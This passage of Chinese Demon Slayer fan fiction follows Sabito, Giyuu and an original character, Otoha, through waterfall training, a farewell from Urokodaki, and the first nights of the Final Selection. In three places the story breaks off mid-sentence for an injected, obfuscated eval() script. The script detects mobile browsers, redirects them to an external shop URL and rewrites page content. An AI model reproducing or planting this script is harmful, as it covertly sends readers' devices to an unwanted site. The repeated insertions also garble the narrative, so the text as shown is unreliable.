鳞泷左近次在门口站着,等孩子们把情绪问题处理完。 “今天开始训练,”他说,“等天暖和了些,就该去瀑布那了。” 12. 成长 鳞泷左近次没有说谎,等到狭雾山变得翠绿,蝉鸣声声不息的时候,在音叶随口抱怨的一句狭雾山的夏天闷热后,带着三个孩子来到了瀑布边。 “水之呼吸,不能只在山上练,”鳞泷左近次说,“要去感受水。” 三个孩子跟着他走了半个时辰,穿过一片密林,听见水声越来越大,等拨开最后一丛灌木,眼前豁然开朗。一道瀑布从高处落下,砸进下面的深潭,溅起大片大片的水雾。 “下去。”左近次不由分说。 三个孩子一脸震惊,音叶站在岸边,听着瀑布轰隆隆由上而下一泻千里的声音,咽了口唾沫,试图讨价还价:“现在就……跳?” “嗯。” “爷爷,我们刚刚来到这里,一点心理准备都没有,怎么能直接……” “啊——” 音叶的话音未落,一旁的锖兔从身边甩出去,脸上还带着惶恐不安的表情,在毫无防备的情况下就被左近次踹了下去。 锖兔脚下一空,反应过来的时候飞速摆动双臂和双腿试图利用惯性留在空中,但是几秒后,砰的一声巨响,他重重地砸进了水里。 伴随着湍急的水流声传来的还有锖兔夹杂着咕嘟咕嘟的叫喊:“师父……明明是音叶跟你说的那些话……怎么先把我踹下来了……” 音叶回头看了一眼爷爷,他摆着双臂站在原地,若无其事地把刚刚踹出去的脚收回来,一看就是很有经验的样子。 鳞泷左近次把目光对准了义勇:“你也下去。” “嗯。”义勇点点头,往前迈了一步,刚要准备跳,紧接着也被踹下去了。 锖兔张开双臂想要接住同样被踹下来的义勇,却被义勇掉下来的反作用力拉进水里,两个人就这样狼狈地游着,头伸出水面呼吸,胸口起伏着,然后回头看岸上。 音叶还站在那儿,她看着那道瀑布,看着水雾飘过来的方向,她深吸一口气,闭上眼睛。 没有想象中爷爷踹过来的脚,她自己后退两步,又加速跑迅速跳下去。 落进水里的时候,凉意从四面八方涌过来,把她整个人包住,水漫过头顶的那一瞬间,她甚至可以听见自己的心跳,然后她从水里冒出来,大口喘气。 锖兔在旁边看着她,有些担心,也有些疑惑:“你怎么自己跳的?不害怕?” 音叶当即否定:“我怎么可能不怕,但是我觉得比起被爷爷踹下来,还不如自己跳下来有准备。” 这是赤裸裸的挑衅。 义勇在旁边,冷不丁冒出一句:“你胆子大。” 音叶扭头看他,他也在看她,脸上的表情很认真,显得整个人都特别真诚。 “谢谢。”音叶说。 义勇点点头,接受了这个谢谢。 那天下午,三个人在水里泡了很久,左近次在岸上坐着,看着他们。 夹杂着鳞泷左近次的“锖兔,头埋下去”和“感受水的存在,想想你自己就是水”的指导,三个人第一天的瀑布修行在狼狈中展开。 音叶练着练着,突然想起那次在山里被雨淋着走回来的那种感觉,雨水从天上落下来,落在身上,渗进皮肤里,和现在被瀑布砸着的感觉不太一样。 一个是落下来的,一个是冲下来的。尽管不一样,但它们都是水。 在两个男孩还没反应过来的时候,音叶就开始往瀑布下面游。 “音叶?”义勇在后面喊。 她没回头,游到瀑布底下,站起来,水从高处砸下来,砸在肩膀上,水流急得甚至让她眼睛都难以睁开。她咬着牙,稳住身子,闭上眼睛。 按照爷爷的吩咐去感受水,锖兔和义勇也站在她身边。 瀑布的水是直接砸下来的,毫无留情、源源不断的。她在瀑布底下站了很久,久到锖兔在岸上喊她,久到义勇在一旁游着等她。 天昏暗下来,在太阳与月亮交接之时,天空呈现出层次分明的晚霞,最后融汇在一起,变成了深蓝色。 等音叶从瀑布底下出来的时候,整个人都麻了。肩膀红了一大片,腿也在抖。 “你疯了?第一天就那么猛?”锖兔冲过来。 音叶喘着粗气:“没有,在想事情。” “想什么事情要在瀑布底下想?” 音叶:“水的事情。” 锖兔被她说得没话讲,义勇在旁边拿起师父留下的毛巾包在她头上,看着她被水流冲得通红的肩膀,帮她把头发里的水绞干。 “快回去吧,别着凉了。” “对对对,快点回去,我快要冻死了。”音叶推着两个少年往前走,锖兔顺势用胳膊反过来夹住音叶,义勇发出爽快的笑声。 他们打闹着往鳞泷小屋走去。 自从上次被锖兔打了一巴掌之后,义勇的性格肉眼所见的变化,他还是话不多,还是会在奇怪的地方卡住,有时候的反应依然慢半拍。 但是有什么东西从他心里破土而出,打破了一直以来他给自己立起的壁垒,他开始笑了。 音叶刚认识义勇的时候,他很少笑,就算笑也只是轻轻地抿嘴笑着。而现在他更多的是露出牙齿,眼睛弯成月牙,有时候笑出声来。 第一次见带他笑的人,是锖兔。 那天三个人去溪边,锖兔踩到一块滑石头,整个人栽进水里。从水里冒出来的时候,头发全部贴在脸上,莫名显得滑稽。 义勇站在岸边,看着他的样子,先是愣了一下,等到反应过来的时候嘴角就开始抽动:“噗。” 他笑出声了,笑容一下子就生动起来,眼睛微眯着,腰因为胸腔的震动弯了下去,手扶着膝盖,整个肩膀都在抖。 锖兔站在水里,看着他的这个样子,眼神凝固了几秒。音叶手中的动作也顿住了。 他们从来没见过义勇这样笑。 “你……你笑什么?”锖兔问。 义勇直起腰,看着他,还在笑:“你……你刚才……那个样子……” 他笑得上气不接下气,话都说不完整。 “有什么好笑的!” 义勇听见锖兔这么说,笑得更厉害了。 音叶在旁边看着他们两个,一个在水里站着,一个在岸上弯着腰,对着笑,她也忍不住笑了。 那天下午,溪边的笑声就没停过。 从那以后,义勇的笑容变得更多了。 …… 等他们适应了瀑布修行后,训练变得更艰苦了,因为鳞孔左近次曾经说过,如果一切顺利的话,距离他们参加最终选拔的时间只剩下了不到一年。 他们开始自己给自己加强度。 音叶则是在自习琢磨自己的呼吸法——霖之呼吸。虽然她能够使出来几种剑法,但从数量上看就并不是全部的招式,其他的招式需要她按照理解自己领悟发挥。 爷爷曾经教过他们全集中呼吸法,那需要很强的身体素质和肺活量,所以音叶尝试在日常生活中使用。练着练着,好像真的越来越顺了,挥刀的时候,木剑刀刃卷起的风会带着如同黎明的露水一样的感觉。 锖兔和义勇在一旁练习水之呼吸,他们还不知道音叶衍生出了呼吸法。 锖兔练完一轮,转头看她,怔在原地,心中的疑惑如潮水般涌上来:“你那是什么?” 音叶停下来:“什么?” “刚刚你挥刀卷起来的那阵风……好像跟我们的有所不同,又好像没什么区别。” “……是霖之呼吸。” 锖兔重复了一遍:“霖之呼吸?” “爷爷说是水之呼吸的分支,”音叶放下手中的木剑,捡起旁边摆在地上的水壶喝了一口,继续说,“是衍生出的新的呼吸法……我妈妈曾经也使用过。” 锖兔没说话,义勇也没说话。两个人都看着她,好像她说了一句什么很奇怪的话。 “你……”锖兔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375033|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,声音有点怪,“这是什么时候的事?” “之前,我们遇到鹿那次,回来的时候我就感觉呼吸法有变化,试着拿起刀练了一下。” 锖兔沉默了一会儿,突然把刀举起来:“我不会输的。” 义勇跟着点头:“我也是。” 音叶看着他们,锖兔站得笔直,举着刀的手微微颤抖,但是他并没有放下。而义勇站在锖兔身边,头发扎成一个小揪放在脑后,表情很温和,但是手已经握成拳头了。 “我们不会落后。”锖兔转身就走。 音叶站在原地,看着他的背影远去,义勇站在她的身边,他并没走。 “他生气了?” 一起生活了几年的默契,音叶很快就能理解锖兔的感受。她垂下眼眸,看着手中的木剑,替锖兔解释。 “他不会轻易生气的,只是……被刺激到了。” 义勇的表情变得平静,如不曾有过波澜的河面,他低头望向自己的木剑,认真地说:“我也会更努力的。” 风吹过来,带着夏天的燥热,却莫名让音叶的心平静下来。 她低头看了看自己的木剑,上面什么都没有。但是当她握住木剑,使出妈妈和她的招式,就好像有绵绵不绝的细雨洒落。 狭雾山的夏天很闷,雾常年围绕着山,终日不散。烈日悬在天上,透过一层又一层雾霭,空气便变得潮湿闷热。 训练完的每一个午后,他们几乎每天都往溪边跑。 义勇喜欢坐在最大的那块石头上,看着水流发呆。发呆的时候嘴角会微微翘着,好像在笑,又好像什么都没想。 音叶渴了,让锖兔去倒水。锖兔不动,让她自己去,两个人正闹着,义勇突然开口:“你们总在一起。” 音叶和锖兔同时停下来,看着他。 “什么?” “不管干什么,你们都在一块儿。” 锖兔愣了一下,看看音叶,又看看义勇:“你不是也在吗?” 义勇的声音依然平和:“嗯,我也在,我们三个人要一直这样。” 锖兔被他这话说得有点不好意思,把脸转开。 “行了行了,我去拿水壶。” 义勇像是发现了什么新鲜事物,凑到音叶身边,拨开她额前的碎发:“他脸红了。” 音叶点头:“我看到了,锖兔一直都是以男子汉来自称,估计很少听到这样的话,他也会不好意思的。” 锖兔端着水壶,看见音叶脸上挂着的笑容,眉头皱起来。 “笑什么?” “没什么,”音叶接过水,“谢谢啦。” …… 跑山对于现在的三个人来说已经轻而易举了,看着太阳的方向,音叶提议可以坐在山顶看日落。 义勇的神色黯淡一瞬,就笑着答应音叶。 太阳慢慢往下沉,落日将狭雾山镀了一层金色,云层飘动,一个巨大的火球在雾霭中荡悠出视线。 音叶想说话,刚扭过头就看见旁边默不作声的少年泪流满面,他没有伸手擦去脸上的泪水,而是看着太阳一点一点向下落。 三个人坐在那儿,看着日落,听着风,谁都没开口。 太阳已经完全落下去了,天边只剩下一点余晖,暗红色的,慢慢被夜色吞没。 义勇开口了:“姐姐。” 锖兔和音叶担忧地看着他,他看着天边,脸上还有没干的泪痕。 “她会开心的,”他用手撑着地面站起身子,“我这样。” 音叶不知道该怎么开口,看见锖兔伸出手,在他肩膀上顺了一下,很轻的一下。看到义勇的眼神就收回了手,把脸转开了,看着别处。 义勇顿在原地,紧接着又笑道:“走吧,回去吃饭。” 三个人往山下走,暮色越来越深,义勇走得最快,双臂大幅度的左右晃动,难得漏出孩子气:“快走吧,不然天要黑了!” 13. 送别 由于最终选拔的时间步步紧逼,三个人像是被这个时间追着跑一样,一年四季都在练习,除了必要的休息,几乎没有停下来过。 最后半年里,鳞泷左近次带着他们来到了后山的巨石场。里面有大小不一的石头,有的石头上面布满了新旧交错的浅白斩痕。 师父告诉他们,每个人都有一个石头,需要用呼吸法劈开,使用真刀,劈开的人才能够参加获得参加选拔的机会,这是他给他们的最终考验。 锖兔是最先劈开那块石头的。 那天早上他和往常一样站在巨石面前,摆好姿势,使出呼吸法伴随着挥刀的动作,石头从中间裂开,整整齐齐的两半。 他站在那儿,看着自己的手,愣住了。 刃口上还沾着一点石屑,手心被震得发麻,但那块石头确实裂开了。他劈了很久,每天都在想这一刀要怎么落下去,现在真的落下去的时候,他反而不知道该怎么反应。 “你做到了!”音叶在一旁替他漏出了笑容,明明自己的进展并不顺利,还在为朋友的成功而高兴。 锖兔不知道该如何形容自己的心情,有高兴,有不敢相信,还有一点“我终于做到了”的如释重负,但又觉得这本来就是应该做到的。 “我去叫师父。”他转身就跑。 鳞泷左近次来的时候,那块石头还保持着裂开的样子。他走过去,蹲下看了看切口,站起来。 “做得很好,锖兔。” 面具下传来的声音难得带有笑意,长着厚茧的手摸上少年的头,难掩的满意。 其次是义勇,劈开石头的时间只比锖兔晚了三天。 傍晚时分,三个人练完功准备回去。锖兔已经收拾好东西,音叶在蹲下来解开自己的绑腿,义勇却站在自己的石头面前没动。 “义勇?”锖兔喊他。 “再练一会儿。”他说。 锖兔和音叶对视一眼,在旁边坐下来等。 太阳往下沉,光线越来越暗。义勇站在那儿,一遍一遍地挥刀,一遍一遍地收刀,动作和之前没什么两样。 然后突然—— “啪。” 石头裂了。 义勇站在那儿,看着裂开的石头,似乎并不相信这是自己劈开的。 夕阳照在他身上,把他的轮廓勾成暖红色。他站了很久,久到锖兔想开口问他怎么了,他才转过头,看着他们笑了一下。 “开了。” 音叶则是最后一个。 倒不是她不如他们,只是她的呼吸法与水之呼吸有所不同,霖之呼吸的招式她仍然还在摸索。 但音叶并不着急,她每天都在练,每天都在回想绵绵细雨洒在自己身上的感受。 又是一年春天,距离真菰离开满打满算已经三年了,而她真正练习也几乎快三年了。音叶站在那块石头面前,握着刀,闭着眼睛。 想起那只鹿和那天的雨,感受甘霖洒在自己身上的感觉,几乎是很微弱的触感。 音叶脑海里浮现了爷爷口中那些关于妈妈的话,还有那只充满神性、引领她回到鳞泷小屋的牝鹿,走几步就回头看她一眼。 音叶睁开眼,保持好姿势,与剑短暂地合二为一,伸出手挥刀。 “霖之呼吸,一之型·细雨归尘。” 石头裂开的声音很轻,一刀就让石头从中间一分为二。 音叶站在那儿,看着裂开的石头,就在她劈石头的一瞬间,她领悟到了霖之呼吸的精髓。 锖兔和义勇从后面跑过来。 “开了?”锖兔问。 音叶点点头。 义勇眼睛亮亮的:“厉害。” 三个人一同回去,告诉鳞泷左近次这个消息,左近次听他们说完,带着面具的脸点头,然后他站起来。 “跟我来。” 他带着他们走到里屋,打开一个柜子,从里面拿出三个东西。 那是消灾狐狸面具,给每一个即将离开鳞泷小屋的孩子,是去灾纳祥的吉祥象征。 “这是给你们的。”他说。 他把面具一个一个递给他们。锖兔的面具耳朵是淡橘色的,和他头发一个颜色,右边脸颊上,有一道浅浅的刻痕,看得出来是故意刻上去的,像一道疤。 锖兔接过来,看着那道刻痕,愣了一下。 “……谢谢师父。”他说,声音有点闷。 义勇的狐狸面具眼睛刻得很大,圆圆的,眼珠的位置涂成了海蓝色,和义勇的眼睛颜色一模一样。 义勇接过来,端详了许久,他用手指摸了摸那双刻出来的眼睛,又摸了摸自己的眼角。 “……谢谢师父。”他说,声音很轻。 音叶的狐狸面具眼睛是眯起来的,弯弯的,像在笑。嘴角翘得很大,整个面具都带着一种傻乎乎的、开心的表情。 音叶看着那个面具,心中泛起一阵酸意。她抬起头,看着左近次,他没说话。月光从窗外照进来,落在他脸上,落在他那双深邃的眼睛里。 “谢谢爷爷。”她说。 那天晚上,音叶在自己的面具上画了一朵小花。很小,很简单。五片花瓣,中间一个点,她用最细的笔,画在面具的额头位置。 她想起真菰临走前自己给她画的花,三年过后,她又为自己的面具画上了一模一样的花。就像她会带着真菰的意志一直坚定地走下去。 傍晚时分,到了用晚饭的时间,鳞泷左近次照惯例给临出发的孩子们做了一顿及其丰盛的晚餐。 烤鱼是锖兔和义勇前几天在溪里抓的,野菜汤是音叶从山里现采的野菜做的,饭团是他们一个一个捏出来的,每一个都捏得很紧。 饭菜的香气弥漫在空中,三个人埋头吃着,没有一个人说话。 等他们都吃饱了,鳞泷左近次摘下面具,漏出温柔的、慈祥的脸,他微微俯身,一一搂过每一个孩子。平常的严肃已经消失不见,取而代之的是来自亲人的亲切与关心。 “你们的刀。” 他走进里屋,出来的时候手里抱着三把刀。 刀是旧的,刀鞘上有磨损的痕迹,刀柄被握过很多次,但刀刃被重新磨过,在灯光下闪着光。 “这是你们师姐师兄曾经用过的,”他语气中流露出伤感,“现在重新打磨好了,交给你们。” 音叶从爷爷手中接过刀,指尖刚握住刀柄,便觉一股沉意落进掌心。那并非兵刃本身的重量,而是另一种沉甸甸、说不清道不明的东西。 狭雾山的晨雾漫进木屋,林间风声轻得近乎无声,屋内静得能听见三人轻浅的呼吸。鳞泷左近次端坐原地,目光沉静地望着眼前的孩子们,许久,才缓缓开口。 “明天。” 两个字落定,原本垂首静立的三人同时一怔,不约而同地猛地抬起头,眼底混着紧张、期待与一丝不易察觉的忐忑,齐齐望向他。 鳞泷语气平淡,却字字沉如磐石,半分没有多余的修饰:“你们将前往藤袭山,那片终年开满紫藤花的山谷,进行为期七天的试炼。” 他缓缓抬眼,目光沉稳而郑重,从音叶的脸上慢慢移过,再看向锖兔和义勇,那眼神里没有严厉的呵斥,只有如山般厚重的叮嘱与牵挂。 末了,他微微顿住,声音轻却重得压在人心头,一字一顿,是最朴素也最决绝的期盼: “活着回来。” 那天夜里,狭雾山的雾意缠上木屋的窗棂。音叶躺在榻上,睁着眼望向黑暗中斑驳的房梁,纷乱的思绪扯得心头发闷。 最终选拔。 这四个字,从真菰姐没能回来的那天起,就成了她咬牙撑过每一场苦练的执念。于是她在雾林里躲陷阱,在瀑布下练呼吸,在巨石前挥刀到手臂发麻,拼尽一切,都是为了斩尽恶鬼。 可当这一天真的近在眼前,她却慌了神。 并不是对鬼的畏惧,而是一种混杂着思念、牵挂与沉甸甸责任的情绪,堵在胸口,让她彻夜难眠。 她轻轻翻了个身,将脸深深埋进枕套里,却还是半点睡意都无。不知在黑暗中僵卧了多久,她终于还是轻手轻脚坐起身,随手拿了一件和服外衣披上,推开门往外走。 今夜的雾也浓,月亮覆上一层白蒙蒙的光,模糊不清。 音叶脚步一顿,愣在原地。 爷爷就站在院子中央,背对着她,身形沉稳,他仰着头,像是每一个舍不得孩子离开的老人。 “爷爷?”她轻声喊道。 鳞泷左近次缓缓回过头,月光淌过他的脸庞,照耀着他那些细密的褶皱。 “睡不着?” 音叶点头,走到他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375034|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,两人并肩而立,沉默无声。 良久,音叶才轻声开口,声音带着一丝微哑:“爷爷。” “嗯。” “我会回来的。” 鳞泷没有应声,只是望着月亮的目光,似是沉了几分。 “我答应过你的。”她攥了攥指尖,语气坚定,“不会再让你失去任何一个孩子。” 月光洒下,把两人的影子拉得很长。 “真菰师姐死的时候,我跟自己说过,一定要替她报仇。”音叶的声音轻了些,带着藏不住的思念,“我现在还是这么想的。” 她顿了顿,深吸一口山间微凉的空气,眼底亮着坚定的光:“但是我也知道,她不想我只想着这些事情,她更想我好好活着。” 身旁的鳞泷侧脸微微动了动,喉间似是轻哽了一下,却依旧没说话。 “所以我会活着回来。”音叶抬起头,望着爷爷的侧脸,一字一句,郑重无比,“活着,杀鬼,回来看你。” 她转头,认真地看着鳞泷。月光落在他脸上,依旧是那副沉静无波的模样,可那双深邃的眼眸深处,却翻涌着难以言说的疼惜与期许,不动声色却滋润万物。 “爷爷。” “嗯。” “谢谢你。” 鳞泷依旧沉默,只是轻轻抬眼,望向那轮圆月。又过了许久,他才缓缓开口,声音很轻:“进去睡吧,明天还要赶路。” 音叶重重地点点头,将心头的情绪尽数压下,转身朝着木屋走去。 院子里只剩月光,和鳞泷独自伫立的身影,守着即将远行的、沉甸甸的牵挂。 第二天一早,天还蒙蒙着,三个人就醒了。 他们都没说话,各自起身收拾行李,行李其实不多,最重要的是一些食物和水。 音叶拿起面具,对着窗纸透进来的光,看那朵小花。颜料已经干了,和木头贴在一起,像是本来就长在那里的。她把面具斜挎在脸上,木头贴着颧骨,有一点凉,又把爷爷给的日轮刀放好。 锖兔已经收拾好了,站在门边,义勇也收拾好了,站在锖兔旁边。 三个人推开门走出去。 院子里,鳞泷左近次站在那里。 晨光刚刚翻过山脊,落在他身上,浅浅一道金边。衣摆洇着一层潮气,是山里的雾气,音叶知道,这要在外面呆很久才会这样。 三个人走过去,在他面前站定。 “师父。”锖兔开口。 鳞泷看着他们,一个一个看过去,先是锖兔,再是义勇,最后停在音叶身上。 “走吧。”他沉声道。 三人颔首,转身朝山下走去,才走出几步,音叶就猛地回身。 鳞泷左近次依旧立在原地,静静望着他们。晨光里,他的身影孤峭又单薄,背影与昨夜分毫不差。 她回过头。 爷爷还站在原地,晨光比刚才亮了些,在音叶眼里,他的轮廓反倒模糊了,究竟是雾气还没散,还是眼前被泪水洇得模糊,音叶分不清楚。 “爷爷——” 那两个字冲出来的时候,喉咙里有什么东西哽了一下。 鳞泷微微一怔。 音叶望着他,眼眶微热,一字一句掷地有声:“我会回来的,一定。” 鳞泷没有说话,只是缓缓、郑重地点了点头。 音叶转过身,继续前行。 锖兔沉默地站在她左边,义勇安静地站在他右边,三人一言不发,走进漫着薄雾的林间,融进渐亮的晨光里。 三个人走了很久,终于来到了鳞泷左近次口中的最终选拔地。 在进入山里的时候音叶就已经闻到花香味了,如今看到眼前的一幕,让她叹为观止。满山满谷的紫藤花,从山脚一路铺到山顶,花瓣落下来,纷纷扬扬的。 那是通往藤袭山的方向。 “藤袭山。”锖兔低声道。 音叶站在那儿,望着那片花海。风吹过来,花瓣拂过面颊,带着一点点若有若无的香。 音叶想了很多,爷爷、真菰、妈妈,最终都化作心底稳稳的勇气,她抬起手,摸了摸斜挎在脸上的面具,那朵小花静静地贴在她的脸上,每时每刻都能感觉到。 “走吧。”她说。 三个人迈开步子,朝那片紫藤走去。 14. 选拔 他们往藤袭山的方向走了一整天。 路不算崎岖,自狭雾山拾级而下,穿过炊烟寥寥的村镇,翻过一座草木枯黄的矮山。夕阳正拖着残红,一点点沉进天际。 “就是那儿。”锖兔抬手指,指向那座被花海淹没的山。 音叶微微眯眼,整座山全是盛放的紫藤花,风一吹,花随风摆动,像一片浮在山间、会呼吸的云,神圣得如同它关押恶鬼的使命。 三人还在往前走,走了片刻,义勇忽然开口问道:“这七天,要杀多少只鬼?” “不知道,”锖兔望着前方渐暗的天色,“但是我们要先保证自己得先活着。” 音叶沉默地跟在一旁,指尖悄悄攥紧了腰间的刀柄。她不怕死,可她怕自己活着出来,却无法保证身边的朋友平安出来。 夕阳彻底沉落时,他们终于抵达山脚。 山脚下的装扮看起来像是一座废弃的神社,朱红的大门高高屹立,入口处的空地上已经站了十几名参加最终选拔的少年们。有男有女,年纪看起来跟音叶差不多大,还有看着年纪稍大一些的,他们穿的都不相同,腰间却基本都配上了一把日轮刀。 他们要么低声交谈,要么紧绷着唇伫立,但几乎没有人脸上带着笑容。空气里沉睡着紧张与戒备的气氛,还有一层压得人喘不过气的、对未知死亡的恐惧。 三人寻了个角落站好之后,一言不发。 没过多久,两道黑影从暗处走出,他们穿着黑色的衣服,带着与衣服配套的面具,看不清脸上的长相。 “是隐。”锖兔低声提醒。 音叶听过,那是鬼杀队的后勤,不握刀斩鬼,只收拾所有血腥与残局。 在众人还在议论纷纷之时,其中一位隐开口,声音平得像一潭死水:“非常感谢各位今夜参加鬼杀队最终选拔。” “在这藤袭山中,关押着剑士们活捉的恶鬼。但鬼并未离开,只因山麓至山腰,一年到头都盛放着恶鬼们所厌恶的紫藤花。” 他顿了顿,语气没有半分温度:“但在这前方,就不再有紫藤花,并且会有鬼们出没。” 音叶的指节因用力而泛白。 “在这里面活过七天,那就是最终选拔合格的条件。”① 另一人淡淡接道:“那么,请一路走好。”话音落,两人转身便没入夜色,像从未出现过。 空地沉默了几秒,有人率先迈步,紧接着便有了第二个,第三个……身影一个接一个扎进漆黑的山林。 “走吧。”锖兔将面具带到脸上道。 音叶与义勇跟上,三人一同踏入了藤袭山的黑暗里。 山林比想象中更暗,月光被层层叠叠的树冠撕碎,漏不下几缕光亮,只能勉强看清脚下模糊的路。紫藤花的淡香早已消失,取而代之的是潮湿的土腥气,树木与藤蔓纠缠在一起,把小路挤得只剩一条窄缝。 锖兔忽然停步:“有味道。” 音叶也嗅到了,那是一股刺鼻的腥腐,混着血肉糜烂的气息,从林深处飘来。 义勇没说话,只是缓缓握住了日轮刀的刀柄,动作安静,却无比坚定。 下一秒,恶鬼从灌木丛里扑出。锖兔侧身闪避,不忘抽出日轮刀使出一击,头颅落地,鬼身顷刻化为飞灰。恶鬼接踵而至,音叶与义勇同时出刀,刀光一闪,恶鬼接连消散。 “走。”锖兔沉声。 一路往前,恶鬼越来越多,却都不算强悍。锖兔冲在最前面,刀起刀落间,恶鬼头颅倒地。音叶与义勇则是守在锖兔身边两侧,挡下侧面恶鬼的偷袭,三人配合得默契无声。 就在这时,远处炸开一声凄厉的呼救:“救命……请帮帮我!” 声音抖得不成样子,满是绝望。 锖兔脚步猛地顿住,望向声音来源,又回头看向音叶和义勇:“你们在这儿等着,我去看看。” “锖兔……” 音叶刚开口,他以如离弦之箭一般拔腿冲了出去,只留下一句急促的叮嘱飘在风里:“千万注意安全!” 身影转瞬消失在密林深处。和锖兔一起生活这么久,音叶早就对他莫名的责任感与正义感习以为常,如果不是训练的话,锖兔基本上不会让她碰任何重活,他认为让女孩子干活不是男子汉应该做的事。 如果在此刻没有挺身而出,那她甚至都会怀疑面前的人是不是锖兔。 音叶与义勇背靠背站定,恶鬼源源不断地围上来,音叶毫不停歇地使用呼吸法,绵绵细雨般的感觉萦绕在她身边,血沫飞溅。缠斗间,音叶下意识想回头说句什么,身侧却空空如也。 “义勇?” 没有人回答她,音叶慌了神,四下张望,满眼都是晃动的黑影与狰狞的恶鬼,哪里还有义勇的影子。 “义勇——!” 回应她的,只有鬼的嘶吼与树叶的沙沙声。 她想冲过去找,可恶鬼一层叠一层,杀退一只,又扑上来一只,死死困住她的脚步。她咬着牙,使出的剑法一刀比一刀利落,心底的不安像藤蔓一样疯狂疯长。 不知过了多久,围堵的恶鬼终于稀稀落落地化成灰烬消散。 音叶喘着粗气,疯了一般朝呼救的方向跑去。前方空地上,少年把日轮刀收入刀鞘,最后一只恶鬼化为飞灰。锖兔立在原地,胸口微微起伏,他身后缩着一个浑身发抖的少年。 “锖兔!” 锖兔回头,第一句便是:“音叶……你怎么来了,义勇呢?” 音叶的心一沉,随即瞥见树旁的身影,义勇靠在树干上,单手捂着左脸,温热的血从指缝里渗出来,顺着腕骨,一滴一滴砸在地上。 她快步冲过去,声音发紧:“让我看看。” 轻轻挪开他的手,一道蔓延伤口蔓延整个额头,源源不断的鲜血从颧骨划到下颌,顺着少年的手腕滴在他的衣服上。 “没事,”义勇语气平淡,仿佛受伤的不是自己,“皮外伤。” 音叶看着他,鼻尖微微发酸。她知道他向来不爱喊疼,也知道这伤绝不是小事,却没再多说,只从怀里掏出爷爷准备的应急药物和用来包扎的干净布条,轻声道:“会疼。” 义勇顺从地点头,她动手包扎,他全程一声不吭,连眉峰都没皱一下,只是安静地看着她,眼神干净又依赖。 包扎完,音叶看向那个被救的少年,语气坚定:“你,过来。” 少年怯生生上前。 “看好他,找个安全的地方躲起来,别出来。” 少年连忙点头。 音叶转头看向锖兔,眼底藏着决绝:“分开走吧。” 锖兔皱眉:“分开?” “鬼太多,分开杀得更快,”她抬眼,直视着他,“你能保证自己的安全吗?” 锖兔沉默了一秒,目光沉沉地看着她,只说了三个字:“活下来。” 话音刚落,他俯身抱住受伤的义勇,小声叮嘱两句,便转身往黑暗中的密林走去。 音叶望着他的背影彻底消失,才握紧刀,踏入了另一片黑暗。 第一次独自挥刀时,她的手在抖。虽然在锖兔面前表现得决绝,但是她其实内心也有些犯怵,倒不是怕死,而是压在心底多年的窒息感。 她恨那些没有理智的恶鬼,血口一张便夺走了真菰和健太,夺走了曾经陪伴她长大的师兄师姐。 在狭雾山时被爷爷教导了无数次的挥刀,可当真正将刀刃刺入鬼的身体时,那种滞涩的触感和溅在脸上的血,还是让她心口发毛。 她甚至不敢再往深了去想,真菰死去的那天,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375035|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是也承受着这样的痛苦与恐惧。 一只恶鬼扑来,她闪身躲开,反手一刀砍中鬼的脖子,它化为飞灰。音叶站在原地,双手挣着膝盖,大口喘气,心底的恨意越烧越旺,支撑着她再度奔跑。 不知跑了多久,一只手突然从身后攥住她的脚腕。 她重心失衡,狠狠摔在地上,恶鬼压了上来,血盆大口近在咫尺,尖牙还泛着冷光,腥臭的气息扑面而来。 音叶一下子就明白了它的意图,它是要咬断她的喉咙。 那一瞬间,她脑中一片空白,只剩求生的本能。她本能地拿起日轮刀,将吸进来的气从肺部呼出,熟悉的感觉再次弥漫开来,绵绵细雨下,她开口:“霖之呼吸——一之型·细雨归尘。” 刀锋轻捷如细雨坠地,直直刺穿鬼的脖颈,恶鬼僵住,脸上还挂满了不可思议的表情,可这种情况没有维持多久,随即化为飞灰,落了她满身满脸,又腥又涩。 音叶躺在地上,望着头顶晃动的树影,心脏狂跳不止,许久才撑着身子爬起来,继续往前。这三天里,她杀了无数只鬼。 太阳升起来之后,鬼都藏在阴影里,不会再出没,她和锖兔会在找到的藏身地汇合休息,并且照顾身受重伤的义勇。 义勇的情况不太好,有时会发烧,还有些嗜睡,但当他醒过来的时候目光却总跟着锖兔和音叶转,像个怕走丢的孩子。 锖兔这几天间陆陆续续又救了几个人,重伤的留下休息,轻伤的则选择继续杀鬼。发现这个藏身地的少年一直没走,这位名为村田的少年被音叶予以重任,让他照顾好义勇、看守营地。 “那你就在这儿待着,看好他们。” 村田用力点头,眼里满是感激与羞愧。 